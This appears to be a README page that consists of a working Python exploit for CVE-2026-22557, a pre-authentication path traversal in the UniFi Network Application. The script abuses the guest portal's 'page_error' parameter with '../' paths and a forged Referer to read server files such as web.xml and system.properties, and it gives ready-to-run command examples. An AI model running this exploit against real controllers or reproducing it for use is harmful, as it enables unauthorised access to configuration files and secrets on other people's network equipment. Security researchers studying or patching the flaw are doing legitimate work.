README.md
Rendering markdown...
#!/usr/bin/env python3
"""CVE-2026-22557 - UniFi Network Application Pre-Auth Path Traversal"""
import argparse
import sys
import urllib3
import requests
from urllib.parse import urlparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
DEFAULT_FILE = "../../web.xml"
DEFAULT_GUEST_PATH = "/guest/s/default/login"
def build_referer(target_url, guest_path):
parsed = urlparse(target_url)
base = guest_path.rsplit("/login", 1)[0]
return (
f"http://{parsed.hostname}:{parsed.port or 80}{base}/"
f"?id=aa:bb:cc:dd:ee:ff&ap=00:11:22:33:44:55"
f"&ssid=test&url=http://example.com"
)
def exploit(target_url, file_path, guest_path, proxy=None, output=None):
url = f"{target_url.rstrip('/')}{guest_path}"
params = {"page_error": file_path}
headers = {"Referer": build_referer(target_url, guest_path)}
proxies = {"http": proxy, "https": proxy} if proxy else None
print(f"[*] Target: {url}")
print(f"[*] File: {file_path}")
if proxy:
print(f"[*] Proxy: {proxy}")
print()
try:
resp = requests.get(url, params=params, headers=headers,
verify=False, timeout=10, proxies=proxies,
allow_redirects=False)
except requests.exceptions.ConnectionError as e:
print(f"[-] Connection failed: {e}")
return False
if resp.status_code in (301, 302, 303, 307, 308):
print(f"[-] HTTP {resp.status_code} -> {resp.headers.get('Location', '?')}")
print(" Site name may be wrong or guest portal not reachable.")
return False
if resp.status_code != 200:
print(f"[-] HTTP {resp.status_code}")
return False
body = resp.text
if "normalized to [null]" in body or not body.strip():
print("[-] Path blocked by Tomcat normalisation (too many ../)")
return False
if output:
with open(output, "wb") as f:
f.write(resp.content)
print(f"[+] Saved {len(resp.content)} bytes to {output}")
else:
print(f"[+] Response ({len(resp.content)} bytes):\n")
sys.stdout.buffer.write(resp.content)
if not resp.content.endswith(b"\n"):
print()
return True
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-22557 - UniFi Network Application Pre-Auth Path Traversal",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""\
examples:
%(prog)s https://192.168.1.1:8843
%(prog)s http://192.168.1.1:8880
%(prog)s https://192.168.1.1:8843 -f ../system.properties
%(prog)s https://192.168.1.1:8843 -f ../api/fields/Setting.json -o setting.json
%(prog)s https://192.168.1.1:8843 -g /guest/s/mysite/login
%(prog)s https://192.168.1.1:8843 -x http://127.0.0.1:8080
""",
)
parser.add_argument("target", help="target URL (e.g. https://192.168.1.1:8843)")
parser.add_argument("-f", "--file", default=DEFAULT_FILE,
help=f"relative path to read (default: {DEFAULT_FILE})")
parser.add_argument("-g", "--guest-path", default=DEFAULT_GUEST_PATH,
help=f"guest portal path (default: {DEFAULT_GUEST_PATH})")
parser.add_argument("-o", "--output", help="save response to file instead of stdout")
parser.add_argument("-x", "--proxy", help="proxy URL (e.g. http://127.0.0.1:8080)")
args = parser.parse_args()
target = args.target
if "://" not in target:
target = f"https://{target}"
ok = exploit(target, args.file, args.guest_path, args.proxy, args.output)
sys.exit(0 if ok else 1)
if __name__ == "__main__":
main()